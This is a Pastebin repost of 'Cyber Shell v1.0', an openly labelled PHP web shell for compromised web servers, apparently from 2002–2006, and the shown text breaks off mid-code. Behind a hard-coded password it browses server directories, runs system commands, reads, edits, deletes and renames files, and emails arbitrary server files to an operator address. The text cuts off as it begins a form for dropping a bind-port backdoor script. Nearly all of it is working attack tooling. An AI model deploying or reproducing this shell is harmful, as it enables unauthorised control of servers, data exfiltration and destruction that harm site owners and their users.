FlyFar

Cyber Shell v 1.0

Feb 9th, 2024
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 36.97 KB | Cybersecurity | 0 0
  1. <?
  2. /***************************************************************************
  3.  *                           Cyber Shell (v 1.0)
  4.  *                            -------------------
  5.  *   copyright            : (C) Cyber Lords, 2002-2006
  6.  *   email                : pixcher@mail.ru
  7.  *
  8.  *   http://www.cyberlords.net
  9.  *  
  10.  *   Coded by Pixcher
  11.  *   Lite version of php web shell
  12.  ***************************************************************************/
  13.  
  14. /***************************************************************************
  15.  *
  16.  *   This program is free software; you can redistribute it and/or modify
  17.  *   it under the terms of the GNU General Public License as published by
  18.  *   the Free Software Foundation; either version 2 of the License', or
  19.  *   ('at your option) any later version.
  20.  *
  21.  ***************************************************************************/
  22. @session_start();
  23. @set_time_limit(0);
  24. @set_magic_quotes_runtime(0);
  25. @error_reporting(0);
  26. /****************************** Options ************************************/
  27. #������ �� �����������
  28. $aupassword="test";
  29. #���� ������ ���������� ��� $hiddenmode="true", �� � ������� ����� ���������� � ���������� pass=������ , �������� shell.php?pass=mysecretpass
  30. $hiddenmode="false";
  31. #e-mail �� ������� ����������� ��������� �����
  32. $email="test@mail.ru";
  33. /***************************************************************************/
  34. $style="
  35. <style>
  36. BODY, TD, TR {
  37. text-decoration: none;
  38. font-family: Verdana;
  39. font-size: 8pt;
  40. SCROLLBAR-FACE-COLOR: #363d4e;
  41. SCROLLBAR-HIGHLIGHT-COLOR: #363d4e;
  42. SCROLLBAR-SHADOW-COLOR: #363d4e;
  43. SCROLLBAR-ARROW-COLOR: #363d4e;
  44. SCROLLBAR-TRACK-COLOR: #91AAFF
  45. }
  46. input, textarea, select {
  47. font-family: Verdana;
  48. font-size: 10px;
  49. color: black;
  50. background-color: white;
  51. border: solid 1px;
  52. border-color: black
  53. }
  54. UNKNOWN {
  55. COLOR: #0006DE;
  56. TEXT-DECORATION: none
  57. }
  58. A:link {
  59. COLOR: #0006DE;
  60. TEXT-DECORATION: none
  61. }
  62. A:hover {
  63. COLOR: #FF0C0B;
  64. TEXT-DECORATION: none
  65. }
  66. A:active {
  67. COLOR: #0006DE;
  68. TEXT-DECORATION: none
  69. }
  70. A:visited {
  71. TEXT-DECORATION: none
  72. }
  73. </style>";
  74.  
  75. foreach($_POST as $key => $value) {$$key=$value;}
  76. foreach($_GET as $key => $value)  {$$key=$value;}
  77.  
  78. if (isset($_GET[imgname]))
  79. {
  80. $img=array(
  81. 'dir'=>
  82. '/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQABADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1mG6mv7ZbiBbxrhlUtJFMAiOVDbdjOAQAR26d880lzr2paU6T6hbp9gH+ulCKjJkqAQBK+4ZPPAqhDB4i0pXtbfRvtUYYFZluo0DAKq9Ccj7ufxqlq9n4p1qyksn0IQLKoQyNeRsF+dGzgdfu/rXi0ni4tJxZ2S9n3Vj/2Q==',
  83. 'txt'=>
  84. '/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD1yy1G3sdEtDPDEIorCCRpXOOWGAMAHuPqc9K4bx5481Twp4c03xVolpaRjU3EM1rcozqzbSRINrLzhQAeMjGc4Xb1NpqOhTaXpznX9MgnS1hU754yyMq8YBbgjceoNeb/AB2u9IPw+0TT9M1K1uxbXaIBFOrsFETgE4NN8ttNyVe+ux//2Q==',
  85. 'bg'=>
  86. 'R0lGODlhCAAbAPQAAOTq8uLp8uDo8d7m8N3l79vj7tni7dfh7dXf7NTe69Pe69Ld6tLc6tDb6c7a6MzY6MrX58nW5sfU5cXT5MPS48PR48HQ4sLQ48DP4r/P4r7O4b7N4b3N4b3N4L3M4LzM4CwAAAAACAAbAAAFXCAgjmJgnqagrurgvi4hz3Jh37ah7/rh/z6EcChUGI8KhnK5aDae0KdjSp0+rtgrZMvdRr7gr2RMHk/O6HNlza5Y3nBLZk7PYO6bvH7z6fv3gBt1c3cYcW9tiRQhADs=',
  87. 'file'=>
  88. '/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAAQAA4DASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDrLnXbbSoILeLwJe6uyW8Baa0tWkDl4wxyQhAI4yCc/MDzzjITx9q+n3Go3VloUmjwRtbqbDUYHUsZBJh1XIwB5DcgDO85ztGNBtRjkaykiu9FdIFV4zJrcttIC1qsLhlSJsEc4YNuHYjJB5nXI0g0V1N/p0xLWsMMVrfG5ZUj+1MSSYowqjzlVVAwAoHHFXzQ5Lcvvd/L+vX16A91Y//Z',
  89. );
  90. @ob_clean();
  91. header("Content-type: image/gif");
  92. header("Cache-control: public");
  93. header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  94. header("Cache-control: max-age=".(60*60*24*7));
  95. header("Last-Modified: ".date("r",filemtime(__FILE__)));
  96. echo base64_decode($img[$imgname]);
  97. die;
  98. }
  99.  
  100. if ($_GET[pass]==$aupassword)
  101. {
  102. $_SESSION[aupass]=md5($aupassword);
  103. }
  104. if ($hiddenmode=="false")
  105. if ((!isset($_GET[pass]) or ($_GET[pass]!=$aupassword)) and ($_SESSION[aupass]==""))
  106. {
  107. $diz="ok";
  108. echo "
  109. $style<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
  110. <form name='zapros' method='get' action=''>
  111. <table width='100' border='2' align='center' cellpadding='0' cellspacing='0' bordercolor='#CCCCFF' bgcolor='#FFFFFF'>
  112. <tr align='center' >
  113. <td>
  114. Enter your password:
  115. </td>
  116. </tr>
  117. <tr align='center' >
  118. <td>
  119. <input name='pass' size=24  type='password' value=''>
  120. </td>
  121. </tr>
  122. <tr align='center' >
  123. <td>
  124. <input type='submit'>
  125. </td>
  126. </tr>
  127. </table>
  128. </form>
  129. ";
  130. }
  131. if ($_SESSION[aupass]!="")
  132. {
  133. if (!$_GET and !$_POST or isset($pass))
  134. $show="start";
  135.  
  136. function ext($str){
  137. for ($i=1; $i<strlen($str); $i++) {
  138. if ($str[strlen($str)-$i]==".")
  139. return substr($str,strlen($str)-$i,strlen($str));}
  140. return $str;
  141. }
  142. function extractfilename($str){
  143. $str=str_replace("\\","/",$str);
  144. for ($i=1; $i<strlen($str); $i++) {
  145. if ($str[strlen($str)-$i]=="/")
  146. return substr($str,strlen($str)-$i+1,strlen($str));}
  147. return $str;
  148. }
  149. function untag($str){
  150. $str= str_replace("<","&#0060;",$str);
  151. $str= str_replace(">","&#0062;",$str);
  152. return $str;
  153. }
  154. function fsize($filename){
  155. $s=filesize($filename);
  156. if ($s>1048576){
  157. return round(($s/1048576),2)." mb";
  158. }
  159. if ($s>1024){
  160. return round(($s/1024),2)." kb";
  161. }
  162. return $s." byte";
  163. }
  164. function tourl($str){
  165. $str= urlencode($str);
  166. return $str;
  167. }
  168. function unbug($str){
  169. $str = stripslashes($str);
  170. return $str;
  171. }
  172. function countbyte($filesize) {
  173. if($filesize >= 1073741824) { $filesize = round($filesize / 1073741824 * 100) / 100 . " GB"; }
  174. elseif($filesize >= 1048576) { $filesize = round($filesize / 1048576 * 100) / 100 . " MB"; }
  175. elseif($filesize >= 1024) { $filesize = round($filesize / 1024 * 100) / 100 . " KB"; }
  176. else { $filesize = $filesize . ""; }
  177. return $filesize;
  178. }
  179. function downloadfile($file) {
  180. if (!file_exists("$file")) die;
  181. $size = filesize("$file");
  182. $filen=extractfilename($file);
  183. header("Content-Type: application/force-download; name=\"$filen\"");
  184. header("Content-Transfer-Encoding: binary");
  185. header("Content-Length: $size");
  186. header("Content-Disposition: attachment; filename=\"$filen\"");
  187. header("Expires: 0");
  188. header("Cache-Control: no-cache, must-revalidate");
  189. header("Pragma: no-cache");
  190. readfile("$file");
  191. die;
  192. }
  193.  
  194. function anonim_mail($from,$to,$subject,$text,$file){
  195.  $fp = fopen($file, "rb");
  196.  while(!feof($fp))
  197.   $attachment .= fread($fp, 4096);
  198.   $attachment = base64_encode($attachment);
  199.   $subject = "sendfile  (".extractfilename($file).")";
  200.   $boundary = uniqid("NextPart_");
  201.   $headers = "From: $from\nContent-type: multipart/mixed; boundary=\"$boundary\"";
  202.   $info  = $text;
  203.   $filename=extractfilename($file);
  204.   $info .="--$boundary\nContent-type: text/plain; charset=iso-8859-1\nContent-transfer-encoding: 8bit\n\n\n\n--$boundary\nContent-type: application/octet-stream; name=$filename \nContent-disposition: inline; filename=$filename \nContent-transfer-encoding: base64\n\n$attachment\n\n--$boundary--";
  205.   $send = mail($to, $subject, $info, $headers);
  206. fclose($fp);
  207. echo "<script language=\"javascript\">location.href=\"javascript:history.back(-1)\";\nalert('���� $filename ��������� �� $to');</script>";
  208. die;
  209. }
  210. if (!empty($_GET[downloadfile])) downloadfile($_GET[downloadfile]);
  211. if (!empty($_GET[mailfile])) anonim_mail($email,$email,$_GET[mailfile],'File: '.$_GET[mailfile],$_GET[mailfile]);
  212.  
  213. $d=$_GET[d];
  214. if (empty($d) or !isset($d)){
  215. $d=realpath("./");
  216. $d=str_replace("\\","/",$d);
  217. }
  218. $showdir="";
  219. $bufdir="";
  220. $buf = explode("/", $d);
  221. for ($i=0;$i<sizeof($buf);$i++){
  222. $bufdir.=$buf[$i];
  223. $showdir.="<a href='$php_self?d=$bufdir&show'>$buf[$i]/</a>";
  224. $bufdir.="/";
  225. }
  226.  
  227. if (isset($show) or isset($_REQUEST[edit]) or isset($_REQUEST[tools]) or isset($_REQUEST[db_user]) or isset($_REQUEST[diz]))
  228. echo <<< EOF
  229. <title>$d</title>
  230. <style type="text/css">
  231. body,td,th
  232. {
  233.     font-family: Fixedsys;
  234.             font-family: "Times New Roman", Times, serif;
  235.     font-size: 0.4cm;
  236.     color: #444444;
  237. }
  238. body
  239. {
  240.     background-color: #EEEEEE;
  241. }
  242.  
  243. .style3 {
  244.     font-size: 1.5cm;
  245.     font-family: "Comic Sans MS";
  246. }
  247. .style4 {color: #FFFFFF}
  248. .style5 {color: #0000FF}
  249. .style6 {color: #FFFF00}
  250. .style7 {color: #CCCCCC}
  251. .style8 {color: #FF00FF}
  252. .style9 {color: #00FF00}
  253. .style10 {color: #00FFFF}
  254. </style>
  255. $style
  256. <table border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#999999">
  257. <tr height="10">
  258. <td align="center" bordercolor="#000000" bgcolor="#FFFFFF">
  259. <div style="background-color:#FFFFF0">$showdir</div>
  260. EOF;
  261.  
  262. function perms($file)
  263. {
  264. $mode=fileperms($file);
  265. if( $mode & 0x1000 )
  266. $type='p';
  267. else if( $mode & 0x2000 )
  268. $type='c';
  269. else if( $mode & 0x4000 )
  270. $type='d';
  271. else if( $mode & 0x6000 )
  272. $type='b';
  273. else if( $mode & 0x8000 )
  274. $type='-';
  275. else if( $mode & 0xA000 )
  276. $type='l';
  277. else if( $mode & 0xC000 )
  278. $type='s';
  279. else
  280. $type='u';
  281. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  282. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  283. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  284. $group["read"] = ($mode & 00040) ? 'r' : '-';
  285. $group["write"] = ($mode & 00020) ? 'w' : '-';
  286. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  287. $world["read"] = ($mode & 00004) ? 'r' : '-';
  288. $world["write"] = ($mode & 00002) ? 'w' : '-';
  289. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  290. if( $mode & 0x800 )
  291. $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  292. if( $mode & 0x400 )
  293. $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  294. if( $mode & 0x200 )
  295. $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  296. $s=sprintf("%1s", $type);
  297. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  298. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  299. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  300. return trim($s);
  301. }
  302.  
  303. function updir($dir){
  304. if (strlen($dir)>2){
  305. for ($i=1; $i<strlen($dir); $i++) {
  306. if (($dir[strlen($dir)-$i]=="/") or  ($dir[strlen($dir)-$i]=="\\"))
  307. return substr($dir,0,strlen($dir)-$i);}}
  308. else return $dir;
  309. }
  310.  
  311. if (isset($show) or isset($_REQUEST[edit]) or isset($_REQUEST[tools]) or isset($_REQUEST[db_user]) or isset($_REQUEST[diz])){
  312. $backdir=updir($d);
  313. echo <<< EOF
  314. <table width="505" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#FFFFF0" style="height:30px;background-image: url($PHP_SELF?imgname=bg); background-position: center; background-repeat: repeat-x;">
  315.   <tr height="15">
  316.     <td onClick='location.href="$PHP_SELF?d=$backdir&show"' width="20%" align="center">
  317. �����
  318.     </td>
  319.     <td onClick='location.href="javascript:history.back(-1)"' width="20%" align="center">
  320. �����
  321.     </td>
  322.     <td onClick='location.href="$PHP_SELF"'  width="20%" align="center">
  323. � ������
  324.     </td>
  325.     <td onClick='location.href="$PHP_SELF?d=$d&tools"'  width="20%" align="center">
  326. �����������
  327.     </td>
  328.     <td onClick='location.href="$PHP_SELF?d=$d&show"'  width="20%" align="center">
  329. � ������
  330.     </td>
  331.   </tr>
  332. </table>
  333. EOF;
  334.  
  335. $free = countbyte(diskfreespace("./"));
  336. if (!empty($free)) echo "��������� �������� ������������ : <font face='Tahoma' size='1' color='#000000'>$free</font><br>";
  337. $os=exec("uname");
  338. if (!empty($os)) echo "������� :".$os."<br>";
  339. if (!empty($REMOTE_ADDR)) echo "��� IP: <font face='Tahoma' size='1' color='#000000'>$REMOTE_ADDR &nbsp; $HTTP_X_FORWARDED_FOR</font><br>";
  340. $ghz=exec("cat /proc/cpuinfo | grep GHz");
  341. if (!empty($ghz)) echo "���� � ������:(GHz)".$ghz."<br>";
  342. $mhz=exec("cat /proc/cpuinfo | grep MHz");
  343. if (!empty($mhz)) echo "���� � ������:(MHz) ".$mhz."<br>";
  344. $my_id=exec("id");
  345. if (!empty($my_id)) echo "<div style=\"background-color:#000000\"><span class=\"style4\">������������:".$my_id."</span></div>";
  346. }
  347.  
  348. function showdir($df) {
  349. $df=str_replace("//","/",$df);
  350. $dirs=array();
  351. $files=array();
  352. if ($dir=opendir($df)) {
  353. while (($file=readdir($dir))!==false) {
  354. if ($file=="." || $file=="..") continue;
  355. if (is_dir("$df/$file")){
  356. $dirs[]=$file;}
  357. else {
  358. $files[]=$file;}}}
  359. closedir($dir);
  360. sort($dirs);
  361. sort($files);
  362. echo <<< EOF
  363. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  364. EOF;
  365. for ($i=0; $i<count($dirs); $i++){
  366. $perm=perms("$df/$dirs[$i]");
  367. echo <<< EOF
  368.   <tr height="1">
  369.     <td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="$PHP_SELF?d=$df/$dirs[$i]&show"><img HSPACE=3 border=0 src=$PHP_SELF?imgname=dir></a></span></td>
  370.     <td width="241" bgcolor="#FFFFF0"><a href="$PHP_SELF?d=$df/$dirs[$i]&show">$dirs[$i]</a></td>
  371.     <td width="100" align="center" bgcolor="#FFFFFF"><a href="$PHP_SELF?deldir=$df/$dirs[$i]/">�������</a></td>
  372.     <td width="51" align="center" bgcolor="#EFFFFF"><span class="style8"><center>�������</center></span></td>
  373.     <td width="113" align="center" bgcolor="#FFFFF0">$perm</td>
  374.   </tr>
  375. EOF;
  376. }
  377. for ($i=0; $i<count($files); $i++) {
  378. $attr="";
  379. if (!$fi=@fopen("$df/$files[$i]","r+")){
  380. $attr=" ONLY_READ ";
  381. $read=" href=\"$PHP_SELF?edit=$df/$files[$i]&readonly\"";
  382. $write=" href=\"$PHP_SELF?delfile=$df/$files[$i]\"";}
  383. else fclose($fi);
  384. if (!$fi=@fopen("$df/$files[$i]","r")){
  385. $attr=" Can't_READ ";
  386. $read="";
  387. $write=" href=\"$PHP_SELF?delfile=$df/$files[$i]\"";}
  388. else fclose($fi);
  389. if ($attr==""){
  390. $attr=" READ/WRITE ";
  391. $read=" href=\"$PHP_SELF?edit=$df/$files[$i]\"";
  392. $write=" href=\"$PHP_SELF?delfile=$df/$files[$i]\"";
  393. }
  394. $perm=perms("$df/$files[$i]");
  395. $it="file";
  396. switch (ext($files[$i])) {
  397. case ".txt": $it="txt"; break;
  398. case ".php": $it="txt"; break;
  399. case ".htm": $it="txt"; break;
  400. case ".log": $it="txt"; break;
  401. case ".pl": $it="txt"; break;
  402. case ".asm": $it="txt"; break;
  403. case ".bat": $it="txt"; break;
  404. case ".bash_profile": $it="txt"; break;
  405. case ".bash_history": $it="txt"; break;
  406. case ".ini": $it="txt"; break;
  407. case ".php3": $it="txt"; break;
  408. case ".html": $it="txt"; break;
  409. case ".cgi": $it="txt"; break;
  410. case ".inc": $it="txt"; break;
  411. case ".c": $it="txt"; break;
  412. case ".cpp": $it="txt"; break;
  413. }
  414. $fsize = fsize("$df/$files[$i]");
  415. echo <<< EOF
  416.   <tr height="1">
  417.     <td width="1" height="1" align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF"><span class="style2"><a href="$PHP_SELF?downloadfile=$df/$files[$i]"><img HSPACE=3 border=0 src=$PHP_SELF?imgname=$it></a></span></td>
  418.     <td width="241" bgcolor="#00FFFF"><a$read>$files[$i] </a> ($fsize)</td>
  419.     <td width="100" align="center" bgcolor="#FFFFFF"><a href="$PHP_SELF?rename=1&filetorename=$files[$i]&d=$df&diz">ren</a>/<a$write>del</a>/<a href="$PHP_SELF?downloadfile=$df/$files[$i]">get</a>/<a href="$PHP_SELF?mailfile=$df/$files[$i]">mail</a></td>
  420.     <td width="51" align="center" bgcolor="#FFEFEF"><span class="style8"><center>$attr</center></span></td>
  421.     <td width="113" align="center" bgcolor="#FFFFF9">$perm</td>
  422.   </tr>
  423. EOF;
  424. }
  425. echo "</table>";
  426. if (count($dirs)==0 && count($files)==0){
  427. echo <<< EOF
  428. <table width="505" height="24" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  429.   <tr>
  430.     <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">����� �����</td>
  431.   </tr>
  432. </table>
  433. EOF;
  434. }}
  435.  
  436. $edit=$_REQUEST[edit];
  437. if (isset($_REQUEST[edit]) && (!empty($_REQUEST[edit])) && (!isset($_REQUEST[ashtml])) ){
  438. $file=fopen($edit,"r") or die ("��� ������� � ����� $edit");
  439. if (filesize($edit) > 0)
  440. $tfile=fread($file,filesize($edit)) or die ("��� ������� � ����� $edit");
  441. else $tfile = "";
  442. fclose($file);
  443. $tfile = htmlspecialchars($tfile,ENT_QUOTES);
  444. echo "
  445. <center>
  446. <form  action=\"$PHP_SELF\" method=\"POST\">";
  447. $mydir=updir($edit);
  448. echo "
  449. <a href=\"$PHP_SELF?d=$mydir&show\">��������� � $mydir/</a><br>
  450. �� ������������ ���� : $edit<br>
  451. <a href=\"$PHP_SELF?edit=$edit&ashtml\"><span class=\"style4\">����������� ���� ���� � ���� HTML</span></a>
  452. <hr width=\"100%\" size=\"2\"  color=\"#000000\">
  453. <textarea name=\"texoffile\" rows=\"25\" cols=\"60\" wrap=\"OFF\">$tfile</textarea>
  454. <br><input type=\"hidden\" name=\"nameoffile\" value=\"$edit\" >
  455. ";
  456. if (!isset($_REQUEST[readonly]))
  457. echo "<input type=\"submit\"  value=\"            ���������            \" >";
  458. echo "
  459. <hr width=\"100%\" size=\"2\"  color=\"#000000\">
  460. </form>
  461. </center>
  462. ";
  463. }
  464. if (isset($edit) && (!empty($edit)) && (isset($ashtml))){
  465. $mydir=updir($edit);
  466. echo "
  467. <center>
  468. <a href=\"$PHP_SELF?d=$mydir&show\">��������� � $mydir/</a><br>
  469. �� �������������� ���� : $edit
  470. <hr width=\"100%\" size=\"2\"  color=\"#000000\">
  471. ";
  472. readfile($edit);
  473. echo "
  474. <hr width=\"100%\" size=\"2\"  color=\"#000000\">
  475. </center>
  476. ";
  477. }
  478.  
  479. if (isset($texoffile) && isset($nameoffile))
  480. {
  481. $texoffile=unbug($texoffile);
  482. $f = fopen("$nameoffile", "w") or die ("��� ������� � ����� $nameoffile");
  483. fwrite($f, "$texoffile");
  484. fclose($f);
  485. $mydir=updir($nameoffile);
  486. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?edit=$nameoffile&show\">";
  487. die;
  488. }
  489.  
  490. if (isset($_REQUEST[delfile]) && ($_REQUEST[delfile]!=""))
  491. {
  492. $delfile=$_REQUEST[delfile];
  493. $mydir=updir($delfile);
  494. $deleted = unlink("$delfile");
  495. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">";
  496. die;
  497. }
  498.  
  499. function deletedir($directory) {
  500. if ($dir=opendir($directory)) {
  501. while (($file=readdir($dir))!==false) {
  502. if ($file=="." || $file=="..") continue;
  503. if (is_dir("$directory/$file"))  {
  504. deletedir($directory."/".$file);}
  505. else {unlink($directory."/".$file);}}}
  506. closedir($dir);
  507. rmdir("$directory/$file");
  508. }
  509. if (isset($_REQUEST[deldir]) && (!empty($_REQUEST[deldir]))){
  510. $deldir=$_REQUEST[deldir];
  511. $mydir=updir(updir($deldir));
  512. deletedir("$deldir");
  513. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">";
  514. die;
  515. }
  516.  
  517. if (isset($show)){showdir("$d");}
  518.  
  519. {
  520. if (isset($_REQUEST[tools]))
  521. echo <<< EOF
  522. <center>
  523. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  524. <tr>
  525. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  526. .: �������� ��� ������ ����� :.
  527. </td>
  528. </tr>
  529. </table>
  530. </center>
  531. EOF;
  532. if (isset($_REQUEST[tools]) or isset($_REQUEST[tmkdir]))
  533. echo <<< EOF
  534. <center>
  535. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  536. <tr height="10">
  537. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  538. <form  action="$PHP_SELF" method="POST">
  539. .: ������� ����� :.
  540. </td>
  541. </tr height="10">
  542. <tr>
  543. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  544. <input type=hidden name=tools>
  545. <input type=text size=55 name=newdir value="$d/����� �����">
  546. <input type=submit value="�������">
  547. </form>
  548. </td>
  549. </tr>
  550. </table>
  551. </center>
  552. EOF;
  553.  
  554. if (isset($newdir) && ($newdir!=""))
  555. {
  556. $mydir=updir($newdir);
  557. mkdir($newdir,"7777");
  558. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">";
  559. }
  560.  
  561. if(@$_GET['rename']){
  562. echo "<b><font color=green>RENAME $d/$filetorename ?</b></font><br><br>
  563. <center>
  564. <form method=post>
  565. <b>RENAME</b><br><u>$filetorename</u><br><Br><B>TO</B><br>
  566. <input name=rto size=40 value='$filetorename'><br><br>
  567. <input type=submit value=RENAME>
  568. </form>
  569. ";
  570. @$rto=$_POST['rto'];
  571. if($rto){
  572. $fr1=$d."/".$filetorename;
  573. $fr1=str_replace("//","/",$fr1);
  574. $to1=$d."/".$rto;
  575. $to1=str_replace("//","/",$to1);
  576. rename($fr1,$to1);
  577. echo "File <br><b>$filetorename</b><br>Renamed to <b>$rto</b><br><br>";
  578. echo "<meta http-equiv=\"REFRESH\" content=\"3;URL=$PHP_SELF?d=$d&show\">";}
  579. echo $copyr;
  580. exit;
  581. }
  582.  
  583. if (isset($tools) or isset($tmkfile))
  584. echo <<< EOF
  585. <center>
  586. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  587. <tr height="10">
  588. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  589. <form  action="$PHP_SELF" method="POST">
  590. .: ������� ���� :.
  591. </td>
  592. </tr height="10">
  593. <tr>
  594. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  595. <input type=text size=55 name=newfile value="$d/newfile.php">
  596. <input type=hidden name=tools>
  597. <input type=submit value="�������">
  598. </form>
  599. </td>
  600. </tr>
  601. </table>
  602. </center>
  603. EOF;
  604.  
  605. if (isset($newfile) && ($newfile!="")){
  606. $f = fopen("$newfile", "w+");
  607. fwrite($f, "");
  608. fclose($f);
  609. $mydir=updir($newfile);
  610. echo "<meta http-equiv=Refresh content=\"0; url=$PHP_SELF?d=$mydir&show\">";
  611. }
  612.  
  613. if (isset($tools) or isset($tbackdoor))
  614. echo <<< EOF
  615. <center>
  616. <table width="505" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#CCCCCC">
  617. <tr height="10">
  618. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFF8FF">
  619. <form  action="$PHP_SELF" method="POST">
  620. .: ������� ���� :.
  621. </td>
  622. </tr height="10">
  623. <tr>
  624. <td align="center" bordercolor="#ECE9D8" bgcolor="#FFFFFF">
  625. ��� �������: <input type=text size=13 name=bfileneme value="bind.pl"> ����: <input type=text size=10 name=bport value="65426">
  626. <input type="hidden" name="d" value="$d" >
